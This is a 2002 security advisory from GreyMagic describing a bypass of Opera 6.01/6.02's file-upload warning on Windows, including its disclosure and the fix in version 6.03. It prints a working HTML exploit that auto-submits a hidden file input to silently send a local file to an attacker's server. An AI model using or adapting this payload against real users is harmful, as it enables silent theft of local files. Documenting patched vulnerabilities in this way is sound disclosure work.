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Reading Any Local File in Opera Browser
27 May 2002
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GreyMagic Security Advisory GM#001-OP
=====================================

By GreyMagic Software, Israel.
27 May 2002.

Available in HTML format at http://security.greymagic.com/adv/gm001-op/.

Topic: Reading ANY local file in Opera.

Discovery date: 07 May 2002.

Affected applications:
======================

* Opera 6.01 on Windows platforms.
* Opera 6.02 on Windows platforms.

Introduction:
=============

From Opera.com:

* "Opera today ranks number three among the most widely used Internet browsers in the world."

* "Opera is small, super-fast, secure, and can run at an optimal level without straining system resources. We like to say that we abide by The 5 S's in all code development: Speed, Size, Security, Standards Compliance and State-of-the-Art."

Opera, like all browsers today, supports the <input type="file"> element, which is a standard method for users to upload files to HTTP servers. Since the file element is a very security-sensitive element, most web browsers do not allow its "value" attribute to be set (read only). If it was possible to assign an arbitrary string to the "value" attribute, an attacking server could fetch any local file by simply submitting a form (through scripting or social engineering, if scripting has been disabled).

Opera's approach to the file element is a little different. The "value" attribute can be set, but before the form it resides in is submitted, a dialog comes up with the following warning:

The files listed below have been selected, without your intervention, to be sent to another computer. Do you want to send these files?"

Discussion:
===========

It is possible to bypass the file element's confirmation dialog, which means an attacker can download any file from an unsuspecting Opera user.

By appending a simple " " (HTML entity, which represents the ASCII code for a new-line character) to the end of the file element's "value" attribute, Opera's security algorithm is fooled to think that no files were assigned. Therefore, the warning dialog doesn't come up; Opera simply submits the form with the desired file chosen by an attacker.

Surprisingly, versions of Opera prior to 6.01 are not vulnerable to this attack. So a change that occurred between version 6.0 and 6.01 is the culprit. This also means that all of the non-windows versions are safe (Opera did not release 6.01 for other platforms yet).

Exploit:
========


This exploit will automatically transfer the file "c:/test.txt" to an attacking host, which can handle it using a server-side environment such as ASP, PHP or other solutions. It does not require any user interaction:

<body onload="document.secForm.submit()">
<form method="post" enctype="multipart/form-data" action="recFile.php"
name="secForm">
<input type="file" name="expFile" value="c:\test.txt "
style="visibility:hidden">
</form>
</body>

Solution:
=========

Opera was informed on 15 May 2002 and confirmed our findings. A day later, in the evening of 16 May 2002, Opera informed us that the vulnerability was fixed and committed to Opera's own version control system.

On 27 May 2002, Opera released version 6.03, which addressed this issue.

Opera has been extremely responsive and quick to understand and patch this vulnerability. They have shown that they truly do take security seriously.

Tested on:
==========

Opera 6.01, NT4.
Opera 6.01, Win2000.
Opera 6.01, WinXP.
Opera 6.02, NT4.
Opera 6.02, Win2000.
Opera 6.02, WinXP.


Demonstration:
==============

A fully dynamic proof-of-concept demonstration of this issue is available at http://security.greymagic.com/adv/gm001-op/.

Feedback:
=========

Please mail any questions or comments to security@greymagic.com.

- Copyright 2002 GreyMagic Software.


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